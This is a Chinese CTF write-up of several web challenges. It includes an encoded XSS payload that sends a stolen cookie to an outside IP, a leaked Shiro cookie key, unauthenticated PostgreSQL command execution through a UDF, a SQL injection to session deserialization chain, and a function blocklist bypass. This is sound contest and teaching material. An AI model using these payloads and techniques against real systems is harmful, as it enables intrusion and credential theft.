现在人老了,不仅ctf不想打了,写wp也想偷点懒,下面的writeup就从简完成了,如果有问题可以直接问我看看。
Web
share your mind
一道挺迷的xss题目,开始做题的时候拐入了一个神奇的非预期。
基础的思路挺明确的,首先需要找个以当前域下的self-xss,然后发送给管理员,bot访问然后进一步…
首先就需要找到一个xss点,由于写文章的点经过html过滤,尖括号被转义了,再加上第一个提示说后台bot使用了phjs做浏览器,所以提出了一个想法,phjs有什么和普通浏览器不同的点,然后就被带入歧途了。
在盲测payload的时候,这样的一个payload收到了返回
1 | http://39.107.33.96:20000"><img src="http://xxxxx.xx"> |
这里没有任何过滤,但是构造js探测后台的时候发现,后台没有任何cookie,甚至没登陆,不能阅读任何东西,无奈之下问了管理员,答复是非预期,有解…
实话说我还是第一次遇到非预期无解的情况,仔细想了一下,可能是因为这个漏洞是bot问题,猜测可能是控制phjs的脚本是通过第三方获取提交链接的,导致拼接的时候未处理出现问题…所以添加cookie和登陆操作在这之后,所以这里的xss点没有用。
抛开这个思路不谈,这里回到题目,知道是非预期,所以思路就想着在站内找一个self-xss。
突然发现站内引用了形似../static/jquery.js
的js,然后站内使用路由表来解析对应的方法,那么RPO的利用条件成立。
ps:RPO相关的知识在34c3的wp和pwnhub大物必须死都提到过,这里就不细谈了。
当我们访问
1 | http://39.107.33.96:20000/index.php/view/article/28477/..%2f..%2f..%2f..%2findex.php/add |
页面内请求的js链接会为http://39.107.33.96:20000/index.php/view/article/28477/static/jquery.js
,返回内容为文章内容,js就会执行。
直接打cookie,获得提示HINT=Try to get the cookie of path \"/QWB_fl4g/QWB/\
这个简单,打子域的cookie即可,就是去年的国赛的思路
1 | var i=document.createElement("iframe"); |
不知道为什么一直不执行,各种改也没用,后来改用documen.write写入就好了
1 | document.write(String.fromCharCode(60,115,99,114,105,112,116,62,10,118,97,114,32,105,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,105,102,114,97,109,101,34,41,59,10,105,46,115,114,99,61,34,47,81,87,66,95,102,108,52,103,47,81,87,66,47,34,59,10,105,46,105,100,61,34,97,34,59,10,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,105,41,59,10,105,46,111,110,108,111,97,100,32,61,32,102,117,110,99,116,105,111,110,32,40,41,123,10,32,32,9,118,97,114,32,99,61,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,97,39,41,46,99,111,110,116,101,110,116,87,105,110,100,111,119,46,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59,10,9,108,111,99,97,116,105,111,110,46,104,114,101,102,61,34,104,116,116,112,58,47,47,49,49,53,46,50,56,46,55,56,46,49,54,63,120,120,61,34,43,99,59,10,125,10,60,47,115,99,114,105,112,116,62)) |
成功打到flag
彩蛋
挺迷的一题的,因为java出不了什么漏洞,所以题意就比较明显了,就是用低版本的组件本身的漏洞导致的。
首先拿到项目代码https://github.com/zjlywjh001/PhrackCTF-Platform-Team
仔细研究其组件版本
https://github.com/zjlywjh001/PhrackCTF-Platform-Team/blob/master/pom.xml
发现其中shiro版本为1.2.4,shiro的1.2.4版本存在一个RCE漏洞。
有两篇文章
https://www.seebug.org/vuldb/ssvid-92180
http://www.freebuf.com/articles/system/125187.html
首先找到cookie加密密钥phrackctfDE!~#$d (cGhyYWNrY3RmREUhfiMkZA==)
用seebug上的poc生成测试cookie,无论在ysoserial上用各种版本的commoncollections都没办法利用,实在不懂java,再加上本地环境不完整,所以就想不到什么办法了。
后来再看别的wp得知,实际上在构造反序列化的gadgets时,不能用commoncollections,只能用JRMPclient。有待进一步研究
在想办法的时候,无意中用nmap扫描服务器,发现惊喜
1 | root@iZ285ei82c1Z:~# nmap -Pn -sT 106.75.97.46 |
5432开放了postgresql端口,尝试未授权果然成功连上了,翻了翻,因为权限设置问题,没办法列目录,只能读文件。但不知道文件名,所以尝试用udf执行命令。
研究了一下没找到9.6版本的udf,但在数据库当前目录下,有别人写的udf,成功执行命令,拿到flag
1 | CREATE OR REPLACE FUNCTION sys_eval() RETURNS text AS './udf.so' LANGUAGE C STRICT; |
python is best language
这是一个flask的代码审计题目,分1&2两个漏洞,第一个漏洞还算是比较清楚,注入漏洞。让我们来看看代码。
others.py里的数据库操作完全没有任何过滤,而且直接将输入拼接进入sql语句,也就是说,如果数据没经过处理,就会产生注入
1 | class Mysql_Operate(): |
比如编辑个人信息,就没有任何处理就进入mysq操作类。
1 | form = EditProfileForm(current_user.username) |
但在forms.py里对表单有验证,例如上面的编辑个人资料,在form验证就会被拦截
1 | def validate_note(self, note): |
但有一个特例,就是PostForm,这个表单没有任何验证
1 | class PostForm(FlaskForm): |
注入成立了,而且还是显注,唯一的问题是这里是所有人都可以看到的,所以在注入时候需要想一些办法
1 | name:12333 |
第二步是flask的session反序列化漏洞,python会反序列化用户的session,问题在于不知道如何控制session,赛后讨论的时候发现…明明有注入为什么不用注入来写呢。
上面的注入可以通过执行多条语句向文件中写入内容。
然后python的session文件和php一样,在/tmp/ffff/md5(bdwsessions+user)
,通过mysql into outfile可以写文件到这里控制有效的。
分享一些相关的文章
https://www.leavesongs.com/PENETRATION/client-session-security.html
http://mp.weixin.qq.com/s/xEBr7JxbSTt11oiBsgc3uw
https://github.com/bl4de/ctf/blob/master/2016/HackIM_2016/Unicle_Web200/Unicle_Web200_writeup.md
然后代码中还有一些黑名单机制
1 | black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,spawnv, spawnve, spawnvp, spawnvpe, load, loads] |
其中限制了很多关键字,但subprocess.Popen
没有被限制,所以就可以随意执行命令
1 | #!/usr/bin/env python |
成功getshell